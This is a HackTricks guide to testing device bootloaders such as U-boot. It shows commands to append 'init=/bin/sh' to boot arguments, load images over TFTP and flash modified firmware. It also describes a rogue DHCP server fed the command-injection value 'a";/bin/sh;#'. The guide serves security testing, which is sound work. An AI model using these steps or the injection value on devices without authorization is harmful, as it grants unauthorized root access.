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58 lines
2.4 KiB
Markdown
58 lines
2.4 KiB
Markdown
# Bootloader Testing
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{{#include ../../banners/hacktricks-training.md}}
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The following steps are recommended for modifying device startup configurations and bootloaders like U-boot:
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1. **Access Bootloader's Interpreter Shell**:
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- During boot, press "0", space, or other identified "magic codes" to access the bootloader's interpreter shell.
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2. **Modify Boot Arguments**:
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- Execute the following commands to append '`init=/bin/sh`' to the boot arguments, allowing execution of a shell command:
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```
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#printenv
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#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
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#saveenv
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#boot
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```
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3. **Setup TFTP Server**:
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- Configure a TFTP server to load images over a local network:
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```
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#setenv ipaddr 192.168.2.2 #local IP of the device
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#setenv serverip 192.168.2.1 #TFTP server IP
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#saveenv
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#reset
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#ping 192.168.2.1 #check network access
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#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes the address to load the file into and the filename of the image on the TFTP server
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```
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4. **Utilize `ubootwrite.py`**:
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- Use `ubootwrite.py` to write the U-boot image and push a modified firmware to gain root access.
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5. **Check Debug Features**:
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- Verify if debug features like verbose logging, loading arbitrary kernels, or booting from untrusted sources are enabled.
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6. **Cautionary Hardware Interference**:
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- Be cautious when connecting one pin to ground and interacting with SPI or NAND flash chips during the device boot-up sequence, particularly before the kernel decompresses. Consult the NAND flash chip's datasheet before shorting pins.
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7. **Configure Rogue DHCP Server**:
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- Set up a rogue DHCP server with malicious parameters for a device to ingest during a PXE boot. Utilize tools like Metasploit's (MSF) DHCP auxiliary server. Modify the 'FILENAME' parameter with command injection commands such as `'a";/bin/sh;#'` to test input validation for device startup procedures.
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**Note**: The steps involving physical interaction with device pins (\*marked with asterisks) should be approached with extreme caution to avoid damaging the device.
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## References
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- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
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{{#include ../../banners/hacktricks-training.md}}
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